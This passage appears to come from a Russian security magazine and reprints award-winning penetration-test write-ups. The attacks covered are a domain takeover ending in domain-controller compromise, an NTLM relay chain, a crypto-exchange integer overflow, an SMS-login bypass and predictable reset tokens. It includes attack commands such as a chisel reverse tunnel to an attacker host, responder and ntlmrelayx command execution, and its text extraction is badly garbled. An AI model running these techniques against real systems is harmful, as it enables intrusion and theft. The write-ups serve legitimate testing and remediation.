который ука зан на сай те. Он вел на адрес в зоне .com, тог да как сайт
находит ся в зоне .ru.

На глав ной стра нице домена из рос сий ско го сег мента видим такое сооб- 
щение:

« »Domain has been assigned. 
Please go to the site settings and put the domain name in the Domain tab.

Оно говорит нам о том, что домен нап равлен на сайт, соз данный при помощи
конс трук тора Tilda. Регис три руем ся в «Тиль де», покупа ем самый дешевый
тариф и при вязы ваем этот домен к сво ему сай ту.

Смот рим, где хос тится поч та. Пишем  и узна ём, что

это Яндекс:

dig somesecret.com MX

somesecret.com. 86400 IN MX 10 mx.yandex.net. 

Те перь идем в Яндекс, говорим, что мы вла делец домена, и под твержда ем
вла дение через тег на глав ной стра нице.

В раз деле «Кон такты» наш лись пре дыду щие вла дель цы элек трон ной поч ты.

Преж ний вла делец пытал ся вос ста новить пароль на сер висе .intercom.io

Та ким обра зом мы обна ружи ли всех зарегис три рован ных поль зовате лей
и получи ли спи сок ком паний-пар тне ров.

Даль ше мы написа ли прос той пар сер сооб щений, который искал чувс тви- 
тель ные дан ные. Слож но было за что-то зацепить ся сре ди тысячи перепи сок.
В одной из них наш лась поч та, отличная от домена. Да, опять!

До мен уже дру гой и рас положен в зоне .io.
Мы запус тили брут под доменов и наш ли IP-адре са, которые ведут

в облачные сер висы.

Ðàçâèòèå àòàêè
При перебо ре дирек торий на одном из най ден ных сер веров мы наш ли
каталог , отоб ража ющий фор му вхо да в «1С:Пред при ятие»./auth/

Ни каких кон фиден циаль ных дан ных оно не рас кры вает, но вход дос тупен
для ано ним ного поль зовате ля.

Изу чив при ложе ние, мы наш ли спо соб выпол нить про изволь ный код на сер- 
вере, пос ле чего успешно заг рузили шелл. Неп ривиле гиро ван ный поль- 
зователь может получить дос туп к интерфей су «1С:Пред при ятие 8.3»
и выпол нять код 1С на сер вере от име ни поль зовате ля .SQLNODE1\USR1CV8

За пущен ное при ложе ние с пра вами при виле гиро ван ного поль зовате ля дало
нам воз можность извлечь дан ные дру гих поль зовате лей сис темы. Так же
в ходе ата ки мы рас кры ли домен ную зону , которую исполь зовали

сот рудни ки ком пании.

buh.local

При помощи тех ники pass the hash уда лось получить дос туп к осталь ным учет- 
кам. В том чис ле откры лась воз можность выпол нять коман ды на кон трол лере
домена от име ни при виле гиро ван ного поль зовате ля. А это поз волило пол- 
ностью зах ватить кон трол лер домена и получить дос туп ко всем учет ным
записям на под клю чен ных к нему машинах.

Нам уда лось подоб рать из получен ного хеша пароль для учет ной записи 

.

buh\
SuperOdmen

Так же мы смог ли под клю чить ся к уда лен ному рабоче му сто лу поль зовате ля
 для пол ноцен ного дос тупа к базе 1С на хос те .buh\SomeBuh 10.10.0.221

Âûâîä
Нам уда лось реали зовать модель угроз внеш него наруши теля. Нес мотря
на то что это был пен тест мобиль ного при ложе ния, мы взло мали всю ком- 
панию, получи ли кри тичес ки важ ные дан ные и дос туп к бух галте рии.

Продолжение статьи →

https://award.awillix.ru/
https://xakep.ru/2023/05/30/hacking-smartphone/#toc02
https://xakep.ru/2023/04/26/hacker-megadrone/#toc02.1
https://intercom.io/


ПРОБИВ ПЕРИМЕТРА
ТРИ РАЙТАПА — ПОБЕДИТЕЛЯ PENTEST

AWARD 
В НОМИНАЦИИ «ПРОБИВ»

COVERSTORY  НАЧАЛО СТАТЬИ←

ÂÒÎÐÎÅ ÌÅÑÒÎ: «ÄÎÑÒÓÏ Ê ÎÁÚÅÊÒÓ ÂÍÓÒÐÅÍÍÅÉ ÑÅÒÈ
Ñ ÈÑÏÎËÜÇÎÂÀÍÈÅÌ NTLM RELAY»

• Àâ òîð: fr35b1

В этом отче те пой дет речь о пен тесте сер висов внеш него перимет ра
без пре дос тавле ния заказ чиком учет ных записей. В ходе работы я получил
дос туп к объ екту внут ренней сети, исполь зуя тех нику NTLM Relay.

CVE-2022-27228
Нач нем с момен та, ког да я обна ружил веб-при ложе ния на CMS Bitrix, под- 
вержен ные (на тот момент све жей и доволь но рас простра нен ной) кри тичес- 
кой уяз вимос ти  в модуле vote. В резуль тате ее экс плу ата ции
неаутен тифици рован ный поль зователь может выпол нять про изволь ный код
на сер вере.

CVE-2022-27228

Вос поль зуем ся пуб личным экс пло итом, что бы получить веб-шелл:

php vote_agent.php https://<BITRIX_IP> 

Поп робу ем выпол нить сис темную коман ду

 hostname;uname -a

Та ким обра зом я получил уда лен ный дос туп к кон тей неру. Здесь мог ла быть
(а может, и нет) инте рес ней шая исто рия с , но события при- 
няли иной обо рот, ког да обна ружи лось, что из кон тей нера есть сетевой дос- 
туп к внут ренним ресур сам. В таком слу чае неп лохо бы обза вес тись учет ной
записью поль зовате ля домена и получить дос туп к некото рому объ екту внут- 
ренней сети. Вот толь ко к какому объ екту? И от име ни какого поль зовате ля?

container escape

Ïðèíóæäåíèå ê àóòåíòèôèêàöèè
Вмес те с тем на одном из сер веров внеш него перимет ра я нашел веб-при- 
ложе ние «1С:Докумен тообо рот», к которо му уда лось получить адми нис тра- 
тив ный дос туп от име ни слу жеб ной учет ной записи. При чем для это го
не понадо билось переби рать учет ные дан ные — по умол чанию ука зан ному
поль зовате лю прис воен пус той пароль.

Чем же нам может помочь это веб-при ложе ние? Отме тим инте рес ную воз- 
можность, каса ющуюся хра нения фай лов. Сис темой пре дус мотре но хра- 
нение в информа цион ной базе либо в томах на дис ке. В нашем слу чае
исполь зовал ся имен но вто рой вари ант.

В поле «Пол ный путь» был ука зан путь UNC до внут ренне го сетево го ресур са
(фай ловый сер вер обоз начим как ). Изме ним его на под кон троль ный

нам SMB-сер вер и поп робу ем при нудить сер вер к аутен тифика ции.

fs.corp

Вос поль зуем ся ути литой responder:

sudo responder -I eth0 

И спро воци руем аутен тифика цию.

Мы получи ли хеш NetNTLMv2 домен ной учет ной записи, которая исполь зует- 
ся для под клю чения к  (назовем ее ).fs.corp 1C_ADMIN

INFO

При нуж дение к аутен тифика ции (Auth coerce) —
рас простра нен ная тех ника с раз личны ми вари- 
анта ми атак. Под робнее читай, к при меру,
в статье « » или на англий- 
ском — на сай те . В нашем же слу чае
идея схо жая, но нуж но учи тывать, что воз- 
можность нас трой ки внеш них сетевых катало гов
в веб-при ложе нии с позиции при виле гиро ван ного
поль зовате ля сама по себе не явля ется уяз- 
вимостью.

Гид по NTLM Relay
hackndo.com

Пос коль ку мы име ем аутен тифика цию по NTLM, можем рас смат ривать сле- 
дующие век торы:

Ес ли при аутен тифика ции воз можно исполь зовать про токол NetNTLMv1, то
мож но будет получить хеш NetNTLMv1 по опре делен ному зна чению

 и выпол нить  с исполь зовани ем радуж ных таб лиц
для получе ния NT-хеша. В нашем слу чае была аутен тифика ция с при мене- 
нием исклю читель но NetNTLMv2, так что идем даль ше.

•

CHALLENGE пе ребор

Пе ребор хеша NetNTLMv2 с целью получить пароль. Впол не веро ятный,
но не самый при ори тет ный век тор, пос коль ку зависит от слож ности
пароля, а вре мя огра ничен но и ско ротеч но.

•

NTLM Relay
Ма тери ал по ата кам NTLM Relay доволь но обши рен, так что я при веду толь ко
необ ходимый теоре тичес кий минимум.

Аутен тифика ция по про токо лу NTLM содер жит в себе кон цепту аль ный
недос таток — сер вер аутен тифици рует кли ент, но кли ент не аутен тифици рует
сер вер. Из это го сле дует, что ата кующий, выдав себя за сер вер, может
получить от кли ента сооб щение с аутен тифика цион ной информа цией
( ) и перенап равить его на целевой хост для получе ния дос тупа
от име ни рет ран сли руемо го поль зовате ля.
AUTHENTICATE

NTLM исполь зует ся для аутен тифика ции на раз ных служ бах, а зна чит, его
под дер жка встро ена в про токо лы прик ладно го уров ня (SMB, LDAP, HTTP, IMAP
и дру гие). Ата ки NTLM Relay обыч но называ ют по име ни служ бы, нап ример
ата ка на SMB — SMB Relay.

Пос коль ку учет ная запись  исполь зует ся для получе ния дос тупа

к сетево му катало гу объ екта  по про токо лу SMB, выберем его
в качес тве целево го хос та. Одна ко ука зан ный хост нам нап рямую недос тупен,
поэто му тре бует ся обес печить дос туп к нему через ранее ском про мети- 
рован ный веб-сер вер. Схе матич но получе ние дос тупа к  будет выг лядеть

сле дующим обра зом (зеленым цве том выделе но легитим ное вза имо дей- 
ствие 1С с , крас ным — вза имо дей ствие в ходе ата ки).

1C_ADMIN
fs.corp

FS

FS

Пе ред про веде нием ата ки тре бует ся про верить, соб людены ли сле дующие
усло вия:
1. Име ется сетевой дос туп к SMB-сер веру  с позиции ском про- 

мети рован ного веб-сер вера.
fs.corp

2. Не исполь зует ся механизм  для SMB.под писи

Для начала сле дует выяс нить IP-адрес целево го хос та. Обыч но в кон тей нере
набор сетевых ути лит огра ничен, поэто му из име юще гося инс тру мен тария
возь мем curl и выпол ним сле дующую коман ду:

curl  10 -4 fs.corp --m -v

На рисун ке выше в стро ке «Trying ...» будет отоб ражен IP-адрес целево го сер- 
вера.

Да лее необ ходимо пос тро ить тун нель до целево го сер вера. Для это го
вос поль зуем ся инс тру мен том  в режиме Reverse SOCKS Proxy.chisel

На хос те ата кующе го выпол ним сле дующую коман ду:

./chisel server -p 8080 --reverse

На сер вере Bitrix выпол няем

./chisel client <ATTACKER_IP>:1080 R:socks

В  дол жна быть ука зана такая стро ка:/etc/proxychains.conf

socks5 127.0.0.1 1080 

Да лее про верим дос тупность пор та 445 и получим информа цию о нас трой ках
под писи для SMB. Для это го выпол ним такую коман ду:

 445  smbproxychains nmap -p --script *-security-mode <FS_IP> -Pn

На рисун ке выше вид но, что под держи вают ся про токо лы SMBv1 и SMBv2,
для каж дого из них выс тавле на нас трой ка под писи по умол чанию.

Пос коль ку нас трой ки SMB на хос те 1C ана логич ны, механизм под писи
не будет исполь зовать ся.

Ïðîâåäåíèå àòàêè
Цель нашей ата ки — получить дос туп к SMB-служ бе целево го хос та от име ни
рет ран сли руемо го поль зовате ля.

Нас тро им сер вер SMB для ата ки и спро воци руем аутен тифика цию:

 proxychains impacket-ntlmrelayx -t smb://<FS_IP>/ERP -i -smb2support

Для даль нейше го вза имо дей ствия с сетевым катало гом вос поль зуем ся сле- 
дующей коман дой:

nc 127.0.0.1 11000 

И получим спи сок сес сий пос редс твом коман ды  (тре буют ся пра ва адми- 

нис тра тора).

who

Раз мы получи ли адми нис тра тив ный дос туп к сетево му катало гу объ екта внут- 
ренней сети, даль нейшее раз витие ата ки может при вес ти к пол ной ком про- 
мета ции сер вера. Пос коль ку такая задача изна чаль но не сто яла, можем про- 
демонс три ровать выпол нение сис темных команд на при мере получе ния име- 
ни поль зовате ля.

От мечу, что исполь зование стан дар тных вари аций psexec в impacket
может быть вос при нято анти виру сом как угро за.

Вы пол ним коман ду

  proxychains impacket-ntlmrelayx -t smb://<FS_IP>/ERP -smb2support -c
whoami

Тем вре менем даже Microsoft Defender соч тет наши дей ствия угро зой.
При прос мотре сооб щения можем заметить параметр CmdLine.

В рам ках при мера можем внес ти изме нения в impacket, отре дак тировав
 сле дующим обра зом.CmdLine

Бы ло:

emp%COMSPEC% /Q /c echo whoami ^> %SYSTEMROOT%\T \__output > %TEMP%\e
xecute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.
bat 

Ста ло:

%COMSPEC% /Q /c "echo %USERNAME% > %SYSTEMROOT%\Temp\__output"

Пос ле пов торной ата ки получим выпол нение коман ды от име ни сис темы.

Íåäîñòàòêè è ðåêîìåíäàöèè ïî èõ óñòðàíåíèþ
Те перь перечис лим фак торы, которые поз волили нам реали зовать дан ный
век тор, и дадим рекомен дации:

Для устра нения уяз вимос ти CVE-2022-27228 сле дует обно вить уяз вимый
модуль vote до вер сии 21.0.100 или более акту аль ной.

• Êðè òè÷åñ êàÿ óÿç âèìîñòü íà âåá�ñåð âåðå, ïðè âîäÿ ùàÿ ê RCE.

 Нуж но огра ничить сетевой дос туп к ресур сам
внут ренней сети со сто роны внеш него перимет ра. Раз решить дос туп
к ресур сам сер верно го сег мента исклю читель но с тех IP-адре сов,
которым этот дос туп необ ходим.

• Íà ëè÷èå ñåòåâî ãî äîñ òóïà ê âíóò ðåííèì ðåñóð ñàì ñî ñêîì ïðî- 

ìåòè ðîâàí íîãî õîñ òà.

 Во-пер вых, уста новить

слож ный нес ловар ный пароль для учет ной записи, во-вто рых, рас смот- 
реть воз можность исполь зования двух фактор ной аутен тифика ции.

• Ñëà áûé ïàðîëü ê ó÷åò íîé çàïèñè ñ ïðà âàìè àäìè íèñ òðà òîðà

â âåá�ïðè ëîæå íèè «1Ñ:Äîêóìåí òîîáî ðîò».

 Пос коль ку воз- 

можность нас тра ивать внеш ний сетевой каталог, дос тупная адми нис тра- 
тору веб-при ложе ния, сама по себе не уяз вимость, мож но пой ти раз ными
путями: либо отклю чить под дер жку про токо ла NTLM на IIS и отка зать ся
от исполь зования Kerberos, либо огра ничить нас трой ку внеш него сетево го
катало га через веб-интерфейс, либо огра ничить на фай рво ле сетевой
дос туп по SMB к опре делен ным хос там.

• Âîç ìîæíîñòü ïðè íóæ äåíèÿ ê àóòåí òèôèêà öèè.

 Сто ит подумать об исполь- 

зовании под писи для SMB на рас смат рива емых хос тах с уче том вли яния
это го на про изво дитель ность.

• Îò êëþ ÷åí ìåõàíèçì ïîä ïèñè äëÿ SMB.

Âûâîä
Этот про ект был при меча телен тем, что жела емый резуль тат дос тигал ся
не толь ко при мене нием кри тичес кой CVE, но и исполь зовани ем небезо пас- 
ных нас тро ек в рас смат рива емых объ ектах, а так же воз можностью при нуж- 
дения к аутен тифика ции. Вооб ще, вари ации атак вида NTLM Relay куда чаще
встре чают ся при пен тестах внут ренней инфраструк туры, поэто му воз- 
можность про вес ти ее в этот раз была при ятной неожи дан ностью.

https://helpdesk.bitrix24.com/open/15536776/
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation
https://xakep.ru/2023/04/07/ntlm-relay-guide/
https://en.hackndo.com/ntlm-relay/
https://crack.sh/netntlm/
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/033d32cc-88f9-4483-9bf2-b273055038ce
https://en.hackndo.com/ntlm-relay/%23session-signing
https://github.com/jpillora/chisel


ТРИ ИССЛЕДОВАНИЯ
ЛОГИЧЕСКИХ БАГОВ,

ПОЛУЧИВШИЕ PENTEST AWARD

COVERSTORY

Се год ня мы пуб лику ем три работы, получив шие Pentest
Award в номина ции Fuck the Logic. В пер вой речь пой дет
о баге, поз воляв шем бес конеч но выводить день ги с крип- 
тобир жи, во вто рой — о зах вате чужих акка унтов в некой
соц сети, в треть ей — о лов ком ревер се токенов при ложе- 
ния.

Pentest Award
В августе 2023 года прош ла церемо ния наг ражде ния  — пре мии
для спе циалис тов по тес тирова нию на про ник новение, которую учре дила
ком пания Awillix. Мы пуб лику ем луч шие работы из каж дой номина ции.

Pentest Award

×ÅÒÂÅÐÒÎÅ ÌÅÑÒÎ: «ÓßÇÂÈÌÎÑÒÜ ÏÅÐÅÏÎËÍÅÍÈß
ÖÅËÎ×ÈÑËÅÍÍÎÉ ÏÅÐÅÌÅÍÍÎÉ È ÂÎÇÌÎÆÍÎÑÒÜ ÁÅÇ
ÎÃÐÀÍÈ×ÅÍÈÉ ÂÛÂÎÄÈÒÜ ÑÐÅÄÑÒÂÀ ÍÀ ÊÐÈÏÒÎÊÎØÅËÅÊ»

• Àâ òîð: arteb123

При иссле дова нии при ложе ния мы наш ли уяз вимость в фун кции вывода
средств из лич ного кабине та. Баг зак люча ется в перепол нении целочис- 
ленной перемен ной, что поз воляло получить отри цатель ное зна чение сче та.

При этом ненуле вое отри цатель ное зна чение сче та поз воляло соз дать
вауче ры с уже положи тель ной сум мой валюты и неог раничен но вывес ти внут- 
реннюю валюту на внеш ний крип токоше лек. Для это го недоб росовес тно му
поль зовате лю было дос таточ но обна личить вауче ры на вто ром соз данном
акка унте.

При мер экс плу ата ции выг лядел сле дующим обра зом. Во вре мя вывода
средств из лич ного кабине та с помощью одной из крип товалют соз дает ся
тикет с ука зани ем сум мы (с рас четом комис сии) и внеш него крип токошель ка.

При этом ука зан ная сум ма для вывода средств дол жна была быть целочис- 
ленной и не быть мень ше нуля или рав ной нулю.

Тем не менее при обра бот ке зап росов на сто роне сер вера была допуще- 
на ошиб ка: зна чение перемен ной , с помощью которой умень- 
шалось зна чение сум мы сче та на акка унте, поз воляло передать зна чение,
пре выша ющее зна чение .

cashpoints

int

В резуль тате этой ошиб ки при отправ ке зап роса на вывод средств на сер вер
мож но было передать очень боль шое зна чение перемен ной .

Это про изво дило перепол нение целочис ленно го зна чения сче та и делало его
отри цатель ным (при этом в интерфей се зна чение сче та отоб ражалось
как положи тель ное).

cashpoints

Так как зап рос на вывод средств на крип токоше лек тре бовал положи тель ного
зна чения, а счет был отри цатель ным, необ ходимо было при думать, как все же
получить плюс. Так мы наш ли фун кцию соз дания вауче ров на сай те. Она поз- 
воля ет переда вать дру гому поль зовате лю код для попол нения сче та.
При этом про вер ки на отри цатель ное зна чение сче та не про исхо дит.

Соз даем вауче ры с ука зани ем сум мы по ссыл ке:

https://example.com/account/voucher/create 

При этом сум ма отри цатель ного сче та акка унта уве личи вает ся на это зна- 
чение.

Соз даем вто рой акка унт и при меня ем соз данные вауче ры:

https://example.com/account/voucher/redeem 

В резуль тате зна чение сче та акка унта уве личе но на сум му, соот ветс тву ющую
вауче ру.

Соз даем тран закцию, что бы вывес ти день ги на внеш ний крип токоше лек:

https://example.com/withdraw/withdrawBalanceInstan>t 

В резуль тате получа ем крип товалю ту.

Так мож но было бес конеч но соз давать вауче ры, обна личи вать их на вто ром
акка унте и выводить день ги.

Âûâîä
Ис поль зуя най ден ную цепоч ку уяз вимос тей, мы для демонс тра ции вывели
средс тва, экви вален тные 8,26 и 4,13 дол лара США. При этом пер воначаль- 
ный баланс обо их акка унтов был равен нулю и попол нения кошель ков не про- 
изво дилось.

Для вла дель цев сай та такая уяз вимость — пря мой риск финан совых
потерь. Кра жа средств поч ти мгно вен на и необ ратима.

Для устра нения уяз вимос ти мы пореко мен довали про верять дли ну вход- 
ных дан ных и откло нять тран закцию при слиш ком боль шом зна чении
перемен ной. Для уяз вимос ти с соз дани ем вауче ров — про верять зна чение
балан са сче та на отри цатель ное зна чение.

ÒÐÅÒÜÅ ÌÅÑÒÎ: «ÇÀÕÂÀÒ ËÞÁÎÃÎ ÀÊÊÀÓÍÒÀ Â ÌÅÑÑÅÍÄÆÅÐÅ»

• Àâ òîð: Äåíèñ Ïîãîíèí, @Danr0

Эту уяз вимость я нашел, иссле дуя при ложе ние одной популяр ной реги ональ- 
ной соц сети. Проб лема зак люча ется в том, что при авто риза ции поль зовате- 
ля в при ложе нии при помощи SMS необ ходимые для успешно го вхо да дан- 
ные генери руют ся на сто роне кли ента. Зло умыш ленник, не имея дос тупа
к телефо ну жер твы, может под делать цепоч ку зап росов и отве тов при ложе ния
и получить дос туп к акка унту жер твы.

При ложе ние дос тупно в виде вер сий для iOS и Android, как вари ант мож но
исполь зовать веб-интерфейс. На момент написа ния этой статьи толь ко
на Android нас читыва ется более мил лиона заг рузок. Вер сия для iOS вхо дит
в топ-200 самых популяр ных при ложе ний для обще ния в App Store.

Ана лиз прог раммы про изво дил ся методом чер ного ящи ка — на осно ве
пуб лично дос тупных при ложе ний и веб-кли ента. При ана лизе при ложе ний я
обна ружил хорошо нас тро енный SSL Pinning. На Android его уда лось час тично
обой ти с помощью кас томиза ции скрип тов Frida. На iOS раз работ чики
исполь зовали пос ледние вер сии защит ных фун кций, обхо да для которых пока
что нет.

Глав ной проб лемой при иссле дова нии ста ло то, что при ложе ние исполь- 
зовало gRPC (на осно ве Protobuf) для обще ния с сер вером. Пос коль ку тес- 
тирова ние про исхо дило методом чер ного ящи ка, proto-фай ла с опи сани ем
струк тур у меня не было. Поэто му все най ден ные уяз вимос ти были обна руже- 
ны в про цес се руч ного ана лиза proto-зап росов.

Что бы работать с gRPC, я исполь зовал рас ширение 
для Burp Suite. Одна ко вер сия из репози тория некор рек тно пар сила поля
зап росов. Что бы зас тавить ее нор маль но работать, приш лось модифи циро- 
вать рас ширение, добавить сооб щени ям новый заголо вок и изме нить алго- 
ритм пар синга поля Additional Data в gRPC.

Blackbox Protobuf

Сум марно на обход SSL Pinning и модифи кацию рас ширения для Burp
Suite ушла одна рабочая неделя. На руч ной ана лиз gRPC и поиск уяз вимос тей
в мес сен дже ре — око ло трех недель. По ходу дела в при ложе нии уда лось
най ти три уяз вимос ти высоко го уров ня опас ности, одну — сред него и одну —
низ кого.

Ïðèíöèï àòàêè
Так как наз вание полей было неиз вес тно, на схе ме они пред став лены циф- 
рами (иден тифика тора ми полей).

Для вхо да в при ложе ние вво дит ся номер телефо на поль зовате ля и кап ча.
В ответ сер вер воз вра щает UUID сес сии аутен тифика ции.

Для вхо да в при ложе ние поль зователь дол жен ввес ти одно разо вый код,
получен ный по SMS. Код отправ ляет ся с UUID, получен ным из прош лого зап- 
роса.

При вво де невер ного кода при ложе ние вер нет ответ 11. Это код ошиб ки,
озна чающий, что невер но вве ден код OTP.

При вер ном коде в зна чении поля воз вра щает ся , это зна чит, что код

кор рек тный. Если ошиб ки нет, при ложе ние соз дает  (помечен крас- 

ным). И отправ ляет эти два UUID сер веру, в ответ получая сес сию.

null
UUID #2

Как вид но из схе мы, сер вер не воз вра щает допол нитель ную информа цию
при отправ ке кор рек тно го кода. Поэто му я пред положил, что 

генери рует ся толь ко на осно ве вре мени.

UUID #2

Для про веде ния ата ки я с помощью Burp Suite модифи циро вал ответ,
который сер вер воз вра щает при вво де невер ного одно разо вого кода.
Это поз волило сге нери ровать на кли енте вер ный  для сес сии

и получить дос туп к акка унту.

UUID #2

Àòàêà
Øàã 1. Çàïðîñ íà îòïðàâêó SMS (ñîçäàíèå íîâîé ñåññèè
àóòåíòèôèêàöèè)
Пер вым вызыва ется метод  сер виса аутен тифика ции

( ).

SendCodeRecaptcha
AuthService

Зап рос SMS выг лядит сле дующим обра зом.

Этот gRPC-зап рос в декоди рован ном виде содер жит два поля:
по ле 1 — номер телефо на ( );• +79...

по ле 2 — reCAPTCHA ( ).• 03A...

От вет сер вера будет таким.

В декоди рован ном виде ответ содер жит два поля:
по ле 2 — UUID сес сии аутен тифика ции, который будет исполь зован
при даль нейших зап росах (

);

•
e94f46ce-c9f1-11eb-9433-

027eb92e4dfc

по ле 4 — секун ды до того, как мож но будет отпра вить еще одну SMS
на тот же номер (120 секунд).

•

Øàã 2. Ââîä îäíîðàçîâîãî êîäà èç SMS
Да лее зло умыш ленник вво дит слу чай ный код под твержде ния (OTP) и отправ- 
ляет зап рос.

Зап рос на отправ ку кода под твержде ния про изво дит ся через метод
 сер виса аутен тифика ции.VerifyCode

Зап рос в декоди рован ном виде содер жит два поля:
по ле 1 — UUID сес сии аутен тифика ции (содер жимое поля 2 из отве та сер- 
вера на прош лом шаге);

•

по ле 2 — код под твержде ния из SMS ( ).• 2345

Зло умыш ленник перех ватыва ет ответ сер вера с ошиб кой.

В декоди рован ном виде ответ содер жит поле 1 с ошиб кой 11 (некор рек тный
код из SMS).

Øàã 3. Ïîäìåíà îòâåòà ñåðâåðà ñ îøèáêè íà óñïåøíûé
Для ата ки зло умыш ленник под меня ет ответ сер вера: вмес то отве та с ошиб- 
кой при дет сооб щение об успешном вво де кода из SMS.

В декоди рован ном виде:
по ле 1 — опре деля ет ошиб ки от сер вера (пус той мас сив);•
по ле 2 — пред положи тель но переда ет зна чение успе ха о вво де кода
( ).

•
True

Øàã 4. Ãåíåðàöèÿ êîäà ïîäòâåðæäåíèÿ è îòïðàâêà çàïðîñà
íà âõîä â ñèñòåìó
На осно ве успешно го отве та JavaScript генери рует код под твержде ния. Дан- 
ные для вхо да в при ложе ние отправ ляет метод  сер виса аутен тифика- 

ции.

SignIn

Рас шифро ван ные дан ные содер жат два поля:
по ле 1 — UUID сес сии аутен тифика ции из прош лых зап росов;•
по ле 3 — код под твержде ния ( ), генери руемый сай том

при успешном вво де кода из SMS.

• UUID #2

В ответ на этот зап рос сер вер воз вра щает сооб щение об успешном вхо де
вмес те с токеном JWT. Этот токен поз воля ет получить пол ный дос туп к акка- 
унту жер твы.

Для про вер ки уяз вимос ти я успешно вошел в акка унт кол леги с его раз- 
решения.

Âûâîäû
Итак, мне уда лось про демонс три ровать воз можность зах вата чужой учет ной
записи. Что бы зак рыть эту дыру, раз работ чику дос таточ но перенес ти на сер- 
вер генера цию дан ных, необ ходимых для вхо да в акка унт. Ког да я тес тировал
эту уяз вимость во вто рой раз, механизм был перера ботан: генера ция вто рого
кода ( ) теперь про изво дит ся на осно ве одно разо вого кода и вре- 

мени, количес тво отпра вок так же огра ниче но.

UUID #2

INFO

Ав тор работы, заняв шей вто рое мес то, отка зал ся
от пуб ликации по неиз вес тным при чинам.

Продолжение статьи →

https://award.awillix.ru/
https://t.me/@Danr0
https://github.com/nccgroup/blackboxprotobuf
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• Àâ òîð: i_bo0om

В этом рай тапе я раз беру ата ку на веб-при ложе ние, которое мы условно
назовем TopApp. Одна из осо бен ностей его API — это исполь зование
текуще го зна чения вре мени в фор мате Unix в качес тве уни каль ного иден-
тифика тора.

Оно и вер но, вре мя назад не вер нуть, оно чис ло инкре мен тное, а количес тво
опе раций вряд ли будет таким боль шим, что бы выз вать исклю читель ную ситу- 
ацию.

Ве роят ность генера ции одно го и того же уни каль ного иден тифика тора
дос таточ но мала, око ло 0,01% при усло вии, что две опе рации прой дут в одну
и ту же секун ду. А еще в иден тифика торе сра зу же фик сиру ется вре мя опе- 
рации.

Од нако, зная вре мя, ког да про изош ла опе рация, мы име ем 100%-ю веро- 
ятность уга дать этот иден тифика тор, так как для перебо ра иден тифика тора
нам необ ходимо око ло 10 000 вари антов.

Имен но из-за это го опас ны такие уяз вимос ти, как небезо пас ная ссыл ка
на объ ект.

Нап ример, дос туп к иден тифика тору через ресурс top-secret для поль- 
зовате ля без аутен тифика ции.

https://top-secret.com/order/15912220586459?json=true 

При чем вре мя фигури рует не толь ко в иден тифика торе пла тежей,
но и в иден тифика торе поль зовате ля.

Од нако есть и сек реты — такие как иден тифика тор сес сии (на скрин шоте
выше это  — 28 сим волов) и ключ вос ста нов ления пароля, клю чи к API.skey

Нач нем с кода вос ста нов ления пароля. Пос ле зап роса кода нам при ходит
сле дующее пись мо.

Очень стран ный токен, учи тывая, что сам сайт написан на Django.
Сна чала я изу чил модуль django-rest-passwordreset, в нем есть уяз вимость,

при которой токен под ходит к любому поч товому адре су, а пару лет назад
в изу чаемом движ ке была такая же уяз вимость. Но токен вос ста нов ления
совер шенно дру гой.

В Django есть раз ные фор маты токенов и путей к вос ста нов лению
паролей.

В вер сии 1.11:

reset/(?P<uidb64>[0-9A-Za-z_\-]+)/(?P<token>[0-9A-Za-z]{1,13}-[0-9A-
Za-z]{1,20})/$ 

В вер сии 1.8:

^reset/(?P<uidb64>[0-9A-Za-z_\-]+)/(?P<token>[0-9A-Za-z]{1,13}-[0-9A-
Za-z]{1,20})/$ 

3.0 исполь зует такую ссыл ку:

accounts/reset/<uidb64>/<token>/ 

В нашем слу чае это .[0-9]
14 байт — это мно го ком бинаций, пусть даже из цифр, это нере аль но

переб рать онлайн.
Час то для генера ции токенов исполь зуют , нап ример тот же .

Ломать ран домы обыч но очень весело, потому что ник то не понима ет,
как работа ет крип тогра фия, а потом все очень удив ляют ся, как мож но было
пред ска зать слу чай ное зна чение.

ГПСЧ mt_rand

Для начала изу чения нам нуж но было срав нить воз можные токены, про- 
верить на инкре мен тность и дру гую пред ска зуемость.

Для это го мы под няли собс твен ный SMTP-сер вер, что облегча ет работу
с тек стом пись ма. Зап росили 10 000 кодов вос ста нов ления паролей, толь ко
вот сами пись ма шли мно го часов, а дош ло око ло 1500. Но это го было дос- 
таточ но.

На вид нет ничего необыч ного, но, если отсорти ровать токены, будет понят- 
но, что что-то не так.

Пер вая мысль — это собс твен ная реали зация 
 (LCG).

ли ней ного кон гру энтно го
метода

Мы поп робова ли нес коль ко зап росов для экс плу ата ции сос тояния гон ки
(race condition) и отпра вили нес коль ко токенов.

Идея была в том, что, если отпра вить два зап роса на вос ста нов ление
пароля (на собс твен ную поч ту и жер тве), при дут оди нако вые или минималь но
раз личимые коды.

Пос ле мно жес тва попыток мы получи ли мак сималь ное приб лижение:
поч та 1: 567  300990116;• 94

поч та 2: 567  301990116.• 56

Но в боль шинс тве слу чаев чис ла слиш ком раз ные и зна ние одно го чис ла
не дает точ ной информа ции о дру гом, поэто му получить пароль жер твы нель- 
зя даже теоре тичес ки.

И все же эти токены не давали покоя. Как буд то есть какое-то пра вило,
которое при вяза но к чему-то цик лично му. Фор мат токена не пов торя ется
пос ледова тель но, но пов торя ется вре мя от вре мени.

Итак, что может быть цик личным и пов торять ся с изме нени ем вре мени? Ну
да, вре мена года. А еще? На самом деле ответ был в самом воп росе —
это вре мя. Часы, минуты, секун ды.

Все ста нет понят но, как толь ко пос мотришь на вре мя сер вера. Имен но тут
начина ется магия.

В отве те всег да есть заголо вок .Date

Что дела ем?
1. Зап рашива ем пароль.
2. Смот рим, что в отве те веб-при ложе ния есть заголо вок Date: 

.
Date: Mon,

08 Jun 2020 08:14:10 GMT

3. Перево дим эту дату в timestamp (есть ). В дан ном слу- 
чае это будет 1591604050.

спе циаль ный сер вис

4. Срав нива ем с получен ным кодом — 50501015409368.

А теперь пос мотри на циф ры вни матель но.
Что бы было понят нее, посим воль но отсорти руем оба зна чения.
Код — 00001134555689. Заголо вок Date — 0001145569.
Код вос ста нов ления — 50501015409368, это вре мя 1591604050 + 5038,

где четыре циф ры — либо что-то слу чай ное, либо мил лисекун ды.
Циф ры — забав ная шту ка. Вот мы зна ем, из чего сос тоит код, но уга дать

его не можем. Непонят но, каким обра зом фор миру ется код, потому что, даже
если мы зна ем все 14 сим волов, у нас 87 178 291 200 вари антов ком бинации
их перес танов ки.

